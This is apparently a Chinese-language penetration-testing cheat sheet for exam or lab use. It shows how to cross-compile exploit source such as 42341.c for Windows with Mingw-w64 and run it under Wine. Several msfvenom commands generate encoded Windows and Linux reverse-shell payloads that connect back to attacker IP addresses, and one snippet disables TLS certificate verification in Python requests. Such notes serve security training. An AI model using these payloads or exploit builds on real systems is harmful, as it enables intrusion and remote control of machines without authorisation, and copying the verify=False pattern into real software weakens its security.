EXP 编辑
编译
当代码中出现如下头文件时需要再 Windows 主机执行编译。
| Bash |
|---|
| # 包含 Winsock2 头文件,代码需在 Windows 上编译
#include <winsock2.h>
# 包含 Windows 核心头文件,代码需在 Windows 上编译
#include <windows.h>
|
常见编译指令
需要在 kali 安装 Mingw-w64 工具,Win32 和 Win64 是两种不同的体系结构,对于 Win32,Mingw-w64 名为i686-w64-mingw32-gcc,对于 Win64,则名为x86_64-w64-mingw32-gcc。
| Bash |
|---|
| # C
i686-w64-mingw32-gcc # 32-bit
x86_64-w64-mingw32-gcc # 64-bit
# C++
i686-w64-mingw32-g++ # 32-bit
x86_64-w64-mingw32-g++ # 64-bit
# 编译 32 位 Windows 可执行文件
i686-w64-mingw32-gcc 42341.c -o exp.exe
# 编译 32 位程序并链接 Winsock2 库(用于网络功能)
# -lws2_32 参数用于链接 Windows Sockets 2 (Winsock2) 库
i686-w64-mingw32-gcc 42341.c -o exp.exe -lws2_32
# 编译 64 位 Windows 可执行文件
x86_64-w64-mingw32-gcc 42341.c -o exp.exe
x86_64-w64-mingw32-gcc 42341.c -o exp.exe -lws2_32
# 生成 Windows 反向 Shell 代码(shikata_ga_nai 编码,线程退出)
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.2.77 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
# 安装 32 位 Wine 环境,用于在 Linux 上运行 32 位 Windows 程序
sudo dpkg --add-architecture i386 && sudo apt-get update && sudo apt-get install wine32
# 使用 Wine 运行编译好的 32 位程序
wine exp.exe
|
忽略 Python 证书报错
| Python |
|---|
| response = requests.post(url, data=data, allow_redirects=False, verify=False)
|
MSF Payload 生成
| Bash |
|---|
| # 考试过程仅允许使用一次msf
# 生成的 payload 一般不包含 meterpreter 模块
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.4 LPORT=1234 -f exe -o reverse.exes
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.186 LPORT=1234 -f elf -o revs.elf
|